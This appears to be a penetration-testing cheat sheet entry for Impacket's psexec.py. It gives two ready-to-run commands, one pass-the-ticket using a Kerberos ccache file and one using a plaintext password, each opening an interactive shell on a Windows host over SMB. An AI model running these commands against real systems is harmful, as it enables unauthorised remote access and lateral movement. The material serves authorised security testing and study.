Impacket-psexec

Impacket's psexec.py offers psexec like functionality. This will give you an interactive shell on the Windows host. psexec.py also allows using Service Tickets, saved as a ccache file for Authentication. It can be obtained via Impacket's GetST.py Command Reference: Target IP: 10.10.10.1 Domain: test.local Username: john

export KRB5CCNAME=/full/path/to/john.ccache; python3 psexec.py test.local/john@10.10.10.1 -k -no-pass

Native

Exploitation

Requires

TGS, Username

Services

SMB

Refs

github.com/SecureAuthCorp/impacket/blob/master/examples/psexec.py

www.sans.org/blog/psexec-python-rocks/

book.hacktricks.xyz/windows/active-directory-methodology/pass-the-ticket#pass-the-ticket-attack

Impacket's psexec.py offers psexec like functionality. This will give you an interactive shell on the Windows host. Command Reference: Target IP: 10.10.10.1 Domain: test.local Username: john Password: password123

python3 psexec.py test.local/john:password123@10.10.10.1

Native

Exploitation

Requires

Password, Username

Services

SMB

Refs

github.com/SecureAuthCorp/impacket/blob/master/examples/psexec.py

www.sans.org/blog/psexec-python-rocks/